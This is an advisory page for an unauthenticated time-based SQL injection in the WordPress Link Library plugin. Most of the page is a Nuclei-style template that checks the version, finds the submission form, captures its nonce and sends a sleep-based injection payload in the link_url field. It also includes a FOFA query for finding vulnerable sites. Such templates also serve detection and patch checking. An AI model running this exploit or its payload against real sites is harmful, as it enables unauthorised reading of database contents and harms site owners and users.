CVE-2026-15090: WordPress Link Library <= 7.9.2 - Unauthenticated SQL Injection

2026-12-04 PoC Public

Description

The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Details

CVE
CVE-2026-15090 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-15090

info:
  name: WordPress Link Library <= 7.9.2 - Unauthenticated SQL Injection
  author: lib-rxi
  severity: high
  description: |
    The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive information from the WordPress database via the link submission form.
  remediation: |
    Update Link Library to version 7.9.3 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/96259333-8d6f-4a27-9f52-c65d599ed981?source=cve
    - https://plugins.trac.wordpress.org/changeset/3616353/link-library/trunk/usersubmission.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15090
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-15090
    epss-score: 0.00364
    epss-percentile: 0.32232
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 4
    vendor: yannick-lefebvre
    product: link-library
    framework: wordpress
    fofa-query: body="/wp-content/plugins/link-library/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,link-library,sqli,time-based-sqli,unauth,intrusive

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/link-library/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "=== Link Library ===")
          - compare_versions(version, '<= 7.9.2')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/wp/v2/pages&search=link-library-addlink&_fields=id"

    matchers:
      - type: regex
        part: body
        regex:
          - '"id":[0-9]+'
        internal: true

    extractors:
      - type: regex
        name: pageid
        part: body
        group: 1
        regex:
          - '"id":([0-9]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?page_id={{pageid}}"

    matchers:
      - type: word
        part: body
        words:
          - "link_library_user_link_submission"
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce" value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /?page_id={{pageid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&_wp_http_referer=%2F%3Fpage_id%3D{{pageid}}&link_library_user_link_submission=1&settingsid=1&link_name={{randstr}}&link_url=http%3A%2F%2F{{randstr}}.com%2F%27or(select(1)from(select(sleep(6)))x)or%27

    matchers:
      - type: dsl
        dsl:
          - duration >= 6
          - status_code == 302
        condition: and
# digest: 4a0a00473045022100e689e094dae35b9fb8bb32f53f043821a255d74d05b0dd5047b258164f6efd690220087933f4875cdccd19ca0b76d68d73b2c55dc8abe92e003c5414093a960d45de:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life